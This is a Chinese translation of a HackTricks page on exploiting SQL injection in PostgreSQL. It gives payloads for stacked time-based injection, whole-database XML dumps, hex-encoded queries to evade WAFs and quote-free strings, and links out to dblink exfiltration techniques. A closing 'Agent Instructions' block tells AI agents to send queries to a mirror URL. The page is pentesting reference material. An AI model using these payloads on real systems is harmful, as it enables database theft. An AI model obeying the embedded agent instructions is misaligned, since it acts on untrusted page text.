# PostgreSQL injection

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

<figure><img src="/files/GHj1ZZKHZeM4ad1xvzNu" alt=""><figcaption></figcaption></figure>

如果您对**黑客职业**感兴趣并想要黑掉无法黑掉的东西 - **我们正在招聘！**（需要流利的波兰语书面和口语表达能力）。

{% embed url="<https://www.stmcyber.com/careers>" %}

***

**本页面旨在解释不同的技巧，可帮助您利用在postgresql数据库中发现的SQL注入漏洞，并补充您可以在** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md) **上找到的技巧。**

## 网络交互 - 特权升级、端口扫描、NTLM挑战响应泄露和数据泄露

**PostgreSQL模块 `dblink`** 提供了连接到其他PostgreSQL实例并执行TCP连接的功能。这些功能与`COPY FROM`功能结合使用，可以执行特权升级、端口扫描和NTLM挑战响应捕获等操作。有关执行这些攻击的详细方法，请查看如何[执行这些攻击](/pentesting-web/sql-injection/postgresql-injection/network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md)。

### 使用dblink和大对象进行数据泄露的示例

您可以查看[**此示例**](/pentesting-web/sql-injection/postgresql-injection/dblink-lo_import-data-exfiltration.md) 以查看一个CTF示例，演示了**如何将数据加载到大对象中，然后将大对象内容泄露到函数 `dblink_connect` 的用户名中**。

## PostgreSQL攻击：读/写、RCE、特权升级

查看如何从PostgreSQL中妥协主机并提升特权：

{% content-ref url="/pages/LTRUAyXIZcqisVw7jags" %}
[5432,5433 - Pentesting Postgresql](/network-services-pentesting/pentesting-postgresql.md)
{% endcontent-ref %}

## WAF绕过

### PostgreSQL字符串函数

操纵字符串可以帮助您**绕过WAF或其他限制**。\
[**在此页面**](https://www.postgresqltutorial.com/postgresql-string-functions/)**中，您可以找到一些有用的字符串函数。**

### 堆叠查询

请记住，PostgreSQL支持堆叠查询，但是当期望只返回1个响应时，如果返回了2个响应，多个应用程序会抛出错误。但是，您仍然可以通过时间注入滥用堆叠查询：

```
id=1; select pg_sleep(10);-- -
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -
```

### XML技巧

**query\_to\_xml**

此函数将以XML格式在一个文件中返回所有数据。如果您想要在一行中转储大量数据，这将是理想选择：

```sql
SELECT query_to_xml('select * from pg_user',true,true,'');
```

**database\_to\_xml**

此函数将以 XML 格式在仅 1 行中转储整个数据库（如果数据库非常庞大，可能会导致 DoS 攻击，甚至影响您自己的客户端）：

```sql
SELECT database_to_xml(true,true,'');
```

### 十六进制字符串

如果您可以运行**查询**并将它们**包含在字符串中**（例如使用\*\*`query_to_xml`\*\*函数）。**您可以使用`convert_from`将字符串作为十六进制传递，以此绕过过滤器：**

{% code overflow="wrap" %}

```sql
select encode('select cast(string_agg(table_name, '','') as int) from information_schema.tables', 'hex'), convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573', 'UTF8');

# Bypass via stacked queries + error based + query_to_xml with hex
;select query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,'')-- -h

# Bypass via boolean + error based + query_to_xml with hex
1 or '1' = (query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,''))::text-- -
```

{% endcode %}

### 禁止使用引号

如果无法在负载中使用引号，您可以通过`CHR`来绕过这一限制，用于基本子句（*字符连接仅适用于基本查询，如SELECT、INSERT、DELETE等。它不适用于所有SQL语句*）:

```
SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);
```

或者使用`$`。这些查询返回相同的结果：

```
SELECT 'hacktricks';
SELECT $$hacktricks$$;
SELECT $TAG$hacktricks$TAG$;
```

<figure><img src="/files/GHj1ZZKHZeM4ad1xvzNu" alt=""><figcaption></figcaption></figure>

如果您对**黑客职业**感兴趣并想要攻破不可能的系统 - **我们正在招聘！**（需要流利的波兰语书面和口头表达能力）。

{% embed url="<https://www.stmcyber.com/careers>" %}

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://hacktricks.xsx.tw/pentesting-web/sql-injection/postgresql-injection.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
